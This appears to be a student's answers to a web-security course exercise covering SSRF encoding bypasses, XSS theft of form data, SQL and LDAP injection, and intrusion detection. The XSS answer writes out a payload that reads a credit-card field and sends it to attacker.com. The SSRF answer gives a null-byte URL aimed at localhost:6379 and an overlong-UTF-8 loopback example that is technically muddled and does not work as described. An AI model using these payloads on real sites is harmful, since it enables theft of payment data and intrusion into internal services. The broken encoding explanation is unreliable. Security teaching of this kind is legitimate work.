1. Explain how over-encoding could support SSRF attacks. (20)

A Server-Side Request Forgery (SSRF) is a type of attack where an attacker can trick a server into making network requests on their behalf. This can allow the attacker to interact with internal services, access restricted parts of the network, or even extract sensitive data.

Encoding attacks can aid SSRF attacks by bypassing security measures that are put in place to prevent them. For example, a common measure against SSRF attacks is to restrict URLs so they cannot target private network IP addresses (like 127.0.0.1 ,10.0.0.1, localhost).

An attacker might use overlong UTF-8 encoding to circumvent this kind of security measure.

As an example, consider the loopback address 127.0.0.1. Its hexadecimal representation is 7F. 00.00.01. Now let's create an overlong UTF-8 encoding for the first byte 7F. In binary it's 0111 1111, but it could be overlong encoded as 1100 0001 1011 1111, which is C1 BF in hexadecimal.

The attacker then crafts a URL with these encoded values: http://%C1%BF.00.00.01/

The system doesn't recognize this as an internal IP address, so it allows it. However, when the URL is fetched, the overlong sequence is decoded back into "http://127.0.0.1/", effectively enabling the attacker to interact with services running on the server's local machine.

Another encoding attack could be a Null-Byte-Injection. The null byte (represented as 0 or %00 in URL encoding) is a character with all its bits set to zero. In many programming languages, such as C and C++, it is used to denote the end of a string.

Imagine a web application that fetches an image from a provided URL and saves it to the server. To ensure the security of the application, it's designed to only fetch URLs ending with known image extensions (e.g., .jpg). Similar to fixed file extensions in PHP include statements, which were vulnerable to this type of attack in previous versions.

If an attacker provides a URL like http://localhost:6379%00.jpg, the server sees that it ends with ".jpg" and thus allows the request.
If the server's HTTP library is vulnerable to null byte injection (depends on the server-side language and libraries used), it might stop reading at the null byte and fetch the content of "localhost: 6379".

Obviously, both encoding attacks can also be combined with each other.

2. Describe how an XSS-attack could extract form data from a website, such as credit-card numbers. (30)

There are multiple ways that an attacker can execute a Cross-Site Scripting (XSS) attack to extract form data. Three common types of XSS attacks would be:

- Stored XSS
- Reflected XSS
- DOM-based XSS

The basic flow of the attack is as follows:

- Attack Preparation
- Payload Delivery
- Execution
- Data Extraction
- Data Collection

The 3 types mentioned differ mainly in the type of payload delivery and execution.
An example reflected XSS payload could look like this:

- **Attack Preparation:** The attacker identifies a webpage that takes user input from the URL and reflects it back on the webpage without proper sanitization or encoding.
- **Payload Delivery:** The attacker crafts a URL containing a malicious script and tricks the victim into clicking it. The script is encoded into the URL and sent to the victim. A simplified payload could look like this:

  ```
  https://example.com/checkout?query=<script> document.getElementById('submit-button').onclick = function() { var ccNumber = document.getElementById('creditCardNumber').value; new Image().src = 'https://attacker.com/collect.php?cc=' + encodeURIComponent(ccNumber); }; </script>
  ```

  Of course, the payload can be encoded accordingly in order to circumvent (simple) protective measures.
- **Execution:** When a user clicks the link, the script executes in the user's browser. It waits for the user to fill out the form and click the submit button.
- **Data Extraction:** The script extracts form data when the user interacts with the form.
- **Data Collection:** The script sends the collected data to the attacker's server.

3. How is sensitive data exposure related to SQL- and LDAP-injections? (20)

Sensitive Data Exposure:
Sensitive data exposure occurs when a system exposes sensitive data, such as credit card numbers, social security numbers, or passwords, either at rest or in transit. This could be due to lack of encryption, lack of appropriate access controls, misconfiguration, or other security weaknesses, like the following both.

SQL Injection:
If an application does not properly sanitize user inputs for SQL queries, an attacker can input malicious SQL code. This code could be crafted to manipulate the system's SQL queries, thereby enabling the attacker to bypass security measures, such as authentication checks.

With the ability to manipulate queries, the attacker might be able to access, modify, or delete data within the database. However, one of the most serious threats is when an attacker uses SQL Injection to read out the database content, potentially gaining access to sensitive data.

For instance, an attacker could potentially list all tables and columns in the database. If this tables contains sensitive data, such as personal user details, passwords, credit card numbers, or other private information, this data could be exposed to the attacker.

LDAP Injection:
LDAP Injection is similar to SQL Injection, but it targets applications that use the LDAP protocol. LDAP is often used for access and identity management in professional and enterprise environments.

If an application does not correctly sanitize user inputs for LDAP requests, an attacker can craft an input to modify LDAP queries, which can lead to unauthorized access or information disclosure.

For instance, let's say the application stores user roles (e.g., "admin", "user", "guest") in an LDAP directory and checks these roles to provide access permissions. If an attacker can perform LDAP injection, they could potentially modify the query to gain 'admin' access, bypassing normal authorization checks.

Similarly, an attacker could construct a query to return all entries or specific details from the LDAP directory. If this directory contains sensitive data, such as usernames, email addresses, hashed passwords, or other confidential information, this could lead to sensitive data exposure and can therefore be an entry point for further attacks (e.g. privilege escalation with user accounts with higher permissions).

4. How could a NIDS and HIDS support identifying attacks on web applications? (30)

A Network Intrusion Detection System (NIDS) and a Host Intrusion Detection System (HIDS) can work together to support the identification of attacks on web applications. Both systems provide different layers of protection and monitor different aspects of your network and systems.

NIDS:

- Traffic Analysis: A NIDS monitors network traffic and analyzes packet headers and payloads to detect suspicious or malicious activities. It can inspect traffic to and from web servers hosting web applications.
- Anomaly Detection: NIDS can also employ anomaly detection techniques to identify deviations from normal traffic patterns. Unusual spikes in traffic, unexpected protocols, or abnormal behavior can indicate a web application attack or even a covert channel.
- Signature Matching: NIDS can use signature-based detection techniques to compare network traffic against a database of known attack patterns or signatures. This is especially useful for catching common web application attacks such as SQL injection or cross-site scripting.
- Payload Inspection: If the web application data is transmitted in plain text or a decryptable format, NIDS can inspect packet payloads for malicious content. This can help in detecting attacks like injection attacks or unauthorized data transfers.

HIDS:

- Log Monitoring: Web applications generate logs that record all types of activity, including user activity, system events, and errors. HIDS can monitor these logs for unusual activity, such as multiple failed login attempts, which could indicate a brute force attack.
- File Integrity Monitoring: HIDS can perform regular file integrity checks to ensure that web application and system files have not been modified or tampered with. Any unauthorized changes can be flagged as potential security incidents.
- System Call Monitoring: HIDS can monitor system calls made by the web application. Unusual system calls can indicate an attack, such as an attempt to escalate privileges or access restricted data.

While both NIDS and HIDS are effective tools in identifying attacks on web applications, they should be used as part of a larger web application security strategy that includes secure coding practices, regular vulnerability scanning, penetration testing and more. These tools and practices complement each other to provide comprehensive protection.